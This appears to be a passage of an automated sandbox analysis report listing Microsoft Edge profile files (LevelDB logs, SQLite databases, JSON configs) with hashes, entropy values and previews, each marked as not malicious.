C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeHubAppUsage\EdgeHubAppUsageSQLite.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6124009817108342
Encrypted:	false
SSDEEP:	12:TLs9pRSJDBJuqJSEDNvrWjJQ9Dl9np59yDLgHFUxOUDaaTXubHa7mWUMAql4iZ7L:TLapR+DDNzWjJ0npnyXKUO8+jdpbmL
MD5:	255B1A81681F7B22BFAD346949C4AE1A
SHA1:	40067CEAA7CD0B1D99DCB888F10341C1E832D07E
SHA-256:	5D432DBBED21851ACE219AAA7838A0307AAB4437F27AA5161A36239C130B1501
SHA-512:	30F6080B749B008217C7AE9C53A4A257D1572A2E1168A30145836DFB26483CA9D5595EFE93C88B0E6D03510A35AAC7EA1A57055E83AFACC09D551D7C2C58F1AD
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...%.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	375520
Entropy (8bit):	5.354102044572614
Encrypted:	false
SSDEEP:	6144:1A/imBpx6WdPSxKWcHu5MURacq49QxxPnyEndBuHltBfdK5WNbsVEziP/CfXtLPz:1FdMyq49tEndBuHltBfdK5WNbsVEziPU
MD5:	2B5FFDA85803C2BAD28F53A2A80911E7
SHA1:	C5E14AB3D63AF300D1A557F34179B909FCBDA0CF
SHA-256:	F4BBD7C2306BC32859C6DED71D2FE9EE6B6E4158E2F95A91C25D9D59438778DF
SHA-512:	E72B731DACE74ABF7EE3794CD59A8E35DD28F774F3CE536882E2C3CB175195E72E46E29AA4CA9ED04364DDB1DB9FE28DA7E1802B8C49BEB3097F8D17A845269C
Malicious:	false
Preview:	...m.................DB_VERSION.1`1.Dq...............&QUERY_TIMESTAMP:domains_config_gz2...13376531961669642..QUERY:domains_config_gz2....[{"name":"domains_config_gz","url":"https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig","version":{"major":2,"minor":8,"patch":76},"hash":"78Xsq/1H+MXv88uuTT1Rx79Nu2ryKVXh2J6ZzLZd38w=","size":374872}]..*.`~...............ASSET_VERSION:domains_config_gz.2.8.76..ASSET:domains_config_gz...{"config": {"token_limit": 1600, "page_cutoff": 4320, "default_locale_map": {"bg": "bg-bg", "bs": "bs-ba", "el": "el-gr", "en": "en-us", "es": "es-mx", "et": "et-ee", "cs": "cs-cz", "da": "da-dk", "de": "de-de", "fa": "fa-ir", "fi": "fi-fi", "fr": "fr-fr", "he": "he-il", "hr": "hr-hr", "hu": "hu-hu", "id": "id-id", "is": "is-is", "it": "it-it", "ja": "ja-jp", "ko": "ko-kr", "lv": "lv-lv", "lt": "lt-lt", "mk": "mk-mk", "nl": "nl-nl", "nb": "nb-no", "no": "no-no", "pl": "pl-pl", "pt": "pt-pt", "ro": "

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	311
Entropy (8bit):	5.154345840336299
Encrypted:	false
SSDEEP:	6:HUW4juM1923oH+Tcwtk2WwnvB2KLlVUWfN4q2P923oH+Tcwtk2WwnvIFUv:OuhYebkxwnvFLKv4YebkxwnQFUv
MD5:	F7AD2DD5F066DAE9831362791916E16F
SHA1:	AA8CFEEE9948B40191BEBC1C7D48048EF137BE53
SHA-256:	F1807241E441E7CD8F599552FFA93DC63B39A3FD3A0E6FC0E91F6A061DD2F514
SHA-512:	93B2FEC0B03E73C240805AD1E19CCFAD9B3EC6C7499D5CF01B6CCC87032FCAFAEE80A3393F5EB8289479EC8FCAED2EA4D3CF2BAA7237D8DDF177898447C9CA4C
Malicious:	false
Preview:	2024/11/19-18:19:20.746 2194 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db since it was missing..2024/11/19-18:19:20.802 2194 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\domains_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	358860
Entropy (8bit):	5.324613753441799
Encrypted:	false
SSDEEP:	6144:CgimBVvUrsc6rRA81b/18jyJNjfvrfM6Rn:C1gAg1zfvv
MD5:	3B968AB491FF19CF5B46162CB3AE3421
SHA1:	1B41447F053A7B1AD1903FD461D3C236780C59E3
SHA-256:	7BAA55E7FA1E12382B99D15FDA383EED3F533BEB36478EC3ABAC7F7711B136BD
SHA-512:	C220596CDAB1EBD5A6B7E3D349E64A2AE3BFB2B1972484117F0F314987A4BF90E805DC001EA5D809CA593BF1F737DE5B12D28B1D93A6226ECB055D8A300AB606
Malicious:	false
Preview:	{"aee_config":{"ar":{"price_regex":{"ae":"(((ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)))","dz":"(((dzd\|da\|\\x{062F}\\x{062C})\\s\\d{1,3})\|(\\d{1,3}\\s(dzd\|da\|\\x{062F}\\x{062C})))","eg":"(((e\\x{00a3}\|egp)\\s\\d{1,3})\|(\\d{1,3}\\s(e\\x{00a3}\|egp)))","ma":"(((mad\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(mad\|dhs\|dh)))","sa":"((\\d{1,3}\\s(sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633}))\|((sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633})\\s\\d{1,3}))"},"product_terms":"((\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{0639}\\x{0631}\\x{0628}\\x{0629})\|(\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{062D}\\x{0642}\\x{064A}\\x{0628}\\x{0629})\|(\\x{0627}\\x{0634}\\x{062A}\\x{0631}\\x{064A}\\s*\\x{0627}\\x{0644}\\x{0622}\\x{0646})\|(\\x{062E}\\x{064A}\\x{0627}\\x{0631}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	399
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWW
MD5:	A15AC2782BB6B4407D11979316F678FD
SHA1:	B64EAF0810E180D99B83BBA8E366B2E3416C5881
SHA-256:	55F8FA21C3F0D42C973AEDF538F1ADE32563AE4A1E7107C939AB82B4A4D7859A
SHA-512:	370B43C7E434C6CC9328D266C1C9DB327621E2C95AD13D953C4D63457A141FBF2BE0B35072DE96BECC29048224D3646535A149229FC2BA367C7903D3E3E79BDB
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.13568091909604
Encrypted:	false
SSDEEP:	6:HUdM+q2P923oH+Tcwt8aPrqIFUt8YU5Zmw+YUsMVkwO923oH+Tcwt8amLJ:CM+v4YebL3FUt8r/+mMV5LYebQJ
MD5:	0DA71BC735495845DC7D5294DBA8B12D
SHA1:	6C869D52E96682632E03C9043B791C9F701DFED0
SHA-256:	208F650809E2D34FD088CC6B502C5E0EE901F31B33B72189A4337D05392A5FCF
SHA-512:	BF7D54D3B92B25614697C4796CBFBE8EEA6868190FBA2AF55121E7034C2575E6FF4CF48DC71055C1E384D002560CFCF50A78E34AC51B30B5285DECF2AE8A2AB0
Malicious:	false
Preview:	2024/11/19-18:19:14.232 14fc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/11/19-18:19:14.233 14fc Recovering log #3.2024/11/19-18:19:14.233 14fc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.13568091909604
Encrypted:	false
SSDEEP:	6:HUdM+q2P923oH+Tcwt8aPrqIFUt8YU5Zmw+YUsMVkwO923oH+Tcwt8amLJ:CM+v4YebL3FUt8r/+mMV5LYebQJ
MD5:	0DA71BC735495845DC7D5294DBA8B12D
SHA1:	6C869D52E96682632E03C9043B791C9F701DFED0
SHA-256:	208F650809E2D34FD088CC6B502C5E0EE901F31B33B72189A4337D05392A5FCF
SHA-512:	BF7D54D3B92B25614697C4796CBFBE8EEA6868190FBA2AF55121E7034C2575E6FF4CF48DC71055C1E384D002560CFCF50A78E34AC51B30B5285DECF2AE8A2AB0
Malicious:	false
Preview:	2024/11/19-18:19:14.232 14fc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/11/19-18:19:14.233 14fc Recovering log #3.2024/11/19-18:19:14.233 14fc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	399
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWW
MD5:	A15AC2782BB6B4407D11979316F678FD
SHA1:	B64EAF0810E180D99B83BBA8E366B2E3416C5881
SHA-256:	55F8FA21C3F0D42C973AEDF538F1ADE32563AE4A1E7107C939AB82B4A4D7859A
SHA-512:	370B43C7E434C6CC9328D266C1C9DB327621E2C95AD13D953C4D63457A141FBF2BE0B35072DE96BECC29048224D3646535A149229FC2BA367C7903D3E3E79BDB
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.127437210099782
Encrypted:	false
SSDEEP:	6:HUGM+q2P923oH+Tcwt865IFUt8YU2SZZmw+YU2SMMVkwO923oH+Tcwt86+ULJ:NM+v4Yeb/WFUt83/+KMV5LYeb/+SJ
MD5:	AED9927E8121ABBC37DE862E5D74B340
SHA1:	2F781C71DB4CEB773A2CAAFB73DB6A2CC18C05CD
SHA-256:	024D7E53B96703627C9D792827F65720F8AC2699E44E3B56B0DE25DEFDA56FFF
SHA-512:	CC19E8B3F57730A5B94D6EC50CB298FD5A327DC0F94C4D6736199957AC30B945563B17E361F4E82A105B5CA642ABC6E1D07BF383C1D44F2D0E25176DC364E799
Malicious:	false
Preview:	2024/11/19-18:19:14.312 14fc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/11/19-18:19:14.314 14fc Recovering log #3.2024/11/19-18:19:14.314 14fc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.127437210099782
Encrypted:	false
SSDEEP:	6:HUGM+q2P923oH+Tcwt865IFUt8YU2SZZmw+YU2SMMVkwO923oH+Tcwt86+ULJ:NM+v4Yeb/WFUt83/+KMV5LYeb/+SJ
MD5:	AED9927E8121ABBC37DE862E5D74B340
SHA1:	2F781C71DB4CEB773A2CAAFB73DB6A2CC18C05CD
SHA-256:	024D7E53B96703627C9D792827F65720F8AC2699E44E3B56B0DE25DEFDA56FFF
SHA-512:	CC19E8B3F57730A5B94D6EC50CB298FD5A327DC0F94C4D6736199957AC30B945563B17E361F4E82A105B5CA642ABC6E1D07BF383C1D44F2D0E25176DC364E799
Malicious:	false
Preview:	2024/11/19-18:19:14.312 14fc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/11/19-18:19:14.314 14fc Recovering log #3.2024/11/19-18:19:14.314 14fc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1197
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	12:qWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW:
MD5:	A2A3B1383E3AAC2430F44FC7BF3E447E
SHA1:	B807210A1205126A107A5FE25F070D2879407AA4
SHA-256:	90685D4E050DA5B6E6F7A42A1EE21264A68F1734FD3BD4A0E044BB53791020A2
SHA-512:	396FAB9625A2FF396222DBC86A0E2CDE724C83F3130EE099F2872AED2F2F2ECE13B0853D635F589B70BD1B5E586C05A3231D68CAF9E46B6E2DAC105A10D0A1C8
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5........

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.121353927640321
Encrypted:	false
SSDEEP:	6:HU6fIq2P923oH+Tcwt8NIFUt8YU6iZmw+YU6OkwO923oH+Tcwt8+eLJ:FfIv4YebpFUt8Ui/+UO5LYebqJ
MD5:	C5419A969CE3A3506F4A762578941293
SHA1:	03BA70010F0695B801748FAD3609DD3DA17E4EA9
SHA-256:	860559781AAE534D970C62718F9B1F06D0B4D8573B35C69E05B5046C8EDA0C8C
SHA-512:	C223FF3F9A1184BB763AAF1BC6A94313E1C8F77B7BFF11B3717C5EE5A44BBFF57FF1FEA85F1B6D5053A6CEE5DEDA7E58CD509D5F2FAFEABBED85AF7513ADBDEA
Malicious:	false
Preview:	2024/11/19-18:19:15.231 1e20 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/11/19-18:19:15.245 1e20 Recovering log #3.2024/11/19-18:19:15.245 1e20 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.121353927640321
Encrypted:	false
SSDEEP:	6:HU6fIq2P923oH+Tcwt8NIFUt8YU6iZmw+YU6OkwO923oH+Tcwt8+eLJ:FfIv4YebpFUt8Ui/+UO5LYebqJ
MD5:	C5419A969CE3A3506F4A762578941293
SHA1:	03BA70010F0695B801748FAD3609DD3DA17E4EA9
SHA-256:	860559781AAE534D970C62718F9B1F06D0B4D8573B35C69E05B5046C8EDA0C8C
SHA-512:	C223FF3F9A1184BB763AAF1BC6A94313E1C8F77B7BFF11B3717C5EE5A44BBFF57FF1FEA85F1B6D5053A6CEE5DEDA7E58CD509D5F2FAFEABBED85AF7513ADBDEA
Malicious:	false
Preview:	2024/11/19-18:19:15.231 1e20 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/11/19-18:19:15.245 1e20 Recovering log #3.2024/11/19-18:19:15.245 1e20 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\jmjflgjpcpepeafmmgdpfkogkghcpiha\1.2.1_0\_metadata\computed_hashes.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	429
Entropy (8bit):	5.809210454117189
Encrypted:	false
SSDEEP:	6:Y8U0vEjrAWT0VAUD9lpMXO4SrqiweVHUSENjrAWT0HQQ9/LZyVMQ3xqiweVHlrSQ:Y8U5j0pqCjJA7tNj0pHx/LZ4hcdQ
MD5:	5D1D9020CCEFD76CA661902E0C229087
SHA1:	DCF2AA4A1C626EC7FFD9ABD284D29B269D78FCB6
SHA-256:	B829B0DF7E3F2391BFBA70090EB4CE2BA6A978CCD665EEBF1073849BDD4B8FB9
SHA-512:	5F6E72720E64A7AC19F191F0179992745D5136D41DCDC13C5C3C2E35A71EB227570BD47C7B376658EF670B75929ABEEBD8EF470D1E24B595A11D320EC1479E3C
Malicious:	false
Preview:	{"file_hashes":[{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","6RbL+qKART8FehO4s7U0u67iEI8/jaN+8Kg3kII+uy4=","CuN6+RcZAysZCfrzCZ8KdWDkQqyaIstSrcmsZ/c2MVs="],"block_size":4096,"path":"content.js"},{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","UL53sQ5hOhAmII/Yx6muXikzahxM+k5gEmVOh7xJ3Rw=","u6MdmVNzBUfDzMwv2LEJ6pXR8k0nnvpYRwOL8aApwP8="],"block_size":4096,"path":"content_new.js"}],"version":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	0.2191763562065486
Encrypted:	false
SSDEEP:	3:J5lDntFlljq7A/mhWJFuQ3yy7IOWUfB5lQ/dweytllrE9SFcTp4AGbNCV9RUIU:3lw75fO1BU/d0Xi99pEYy
MD5:	4A9A586C3C944766BFC0169F4299D84F
SHA1:	34B1BF9FFCFB011A48972DC2808D72AB3A752B5F
SHA-256:	7453B537EDFF88A60708C5DEA004D32DE011F8E38012B067AD6D59722E244261
SHA-512:	179CD62A88EA8B2EEA86E4DC2E52D8DE0A6278413EAA304C3060D9A25B25FB0E822E0ABFF04A3EC749FE6C809EA4D7986ACF1618BDB24ABBE2B8CA9EC9D6D79C
Malicious:	false
Preview:	............:.O....&....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps Icons

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 12, cookie 0x3, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	3.6480944688206467
Encrypted:	false
SSDEEP:	384:aj9P0+QkQerkjlUP/KbtZ773pLwgam6I0hlcERKToaAu:adte2mlUP/w7xEAERKcC
MD5:	EF2C1F95F497969FBF806455EF1A4F96
SHA1:	5798BBD27DECA19BFEEFDA1B638F950AA4EFDC7C
SHA-256:	87BA9C8C35A1DBB87F42B15BC995B0196E5677E551F869631F2D1D1F4EE9CAA1
SHA-512:	60FD242C957BD23FCBAE699438BD05275518F8DD2150B71CA57AD25B248510A04484994F6FE9A5869D7C2A097A17C5A26A50C2B06543B8B7E493A10B0EF5D868
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...:.8....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	408
Entropy (8bit):	5.2370860801390835
Encrypted:	false
SSDEEP:	12:cIv4Yeb8rcHEZrELFUt81Z/+S5LYeb8rcHEZrEZSJ:c64Yeb8nZrExg81bLYeb8nZrEZe
MD5:	C043F4C77FE24C8EABF68A247E7DE28B
SHA1:	BBE9A60A21F2C2E100965F88C2EBD2A1B75569F6
SHA-256:	2AE36AFB830B982B8D05922B8EA907980A249FA812F92745DE614DAA25DB84AF
SHA-512:	0B8C36DCDD4764B361AAD16D7FF4B1AEA13FC70454862315AB8918188C65699DA28FC983B91356A2339B9FCE68F3FEB9221A952DDA1079D51603AD47B1DE2324
Malicious:	false
Preview:	2024/11/19-18:19:20.173 1e20 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/11/19-18:19:20.173 1e20 Recovering log #3.2024/11/19-18:19:20.174 1e20 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	408
Entropy (8bit):	5.2370860801390835
Encrypted:	false
SSDEEP:	12:cIv4Yeb8rcHEZrELFUt81Z/+S5LYeb8rcHEZrEZSJ:c64Yeb8nZrExg81bLYeb8nZrEZe
MD5:	C043F4C77FE24C8EABF68A247E7DE28B
SHA1:	BBE9A60A21F2C2E100965F88C2EBD2A1B75569F6
SHA-256:	2AE36AFB830B982B8D05922B8EA907980A249FA812F92745DE614DAA25DB84AF
SHA-512:	0B8C36DCDD4764B361AAD16D7FF4B1AEA13FC70454862315AB8918188C65699DA28FC983B91356A2339B9FCE68F3FEB9221A952DDA1079D51603AD47B1DE2324
Malicious:	false
Preview:	2024/11/19-18:19:20.173 1e20 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/11/19-18:19:20.173 1e20 Recovering log #3.2024/11/19-18:19:20.174 1e20 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	1476
Entropy (8bit):	5.671977167523307
Encrypted:	false
SSDEEP:	24:O+ZWw5WslHLZls8E+/vXMBqXZVWRV03y1x4uzMy4WBDkTN5zgFHHmi28/V:O+ZjWEVp/vDXZcRV03Sx4Zy4B+HH328t
MD5:	AC5222B707647C6818B82F808EA4ABF2
SHA1:	EBC80DE2961C1FAD5C85FD38DB4B5ADF9D617DBE
SHA-256:	71C40DA433E2D206C160A0AC745AA7E8730CA3F924CDACDABF854D365CD92048
SHA-512:	852A828F3EF583329ACC8E10D4E2F4E885B6D9D11CF415181B2944C698D808502D012C3F1A219085EAFDFE1109D51576B1B9B7F809938AC9AB2FCE1CA81E34F9
Malicious:	false
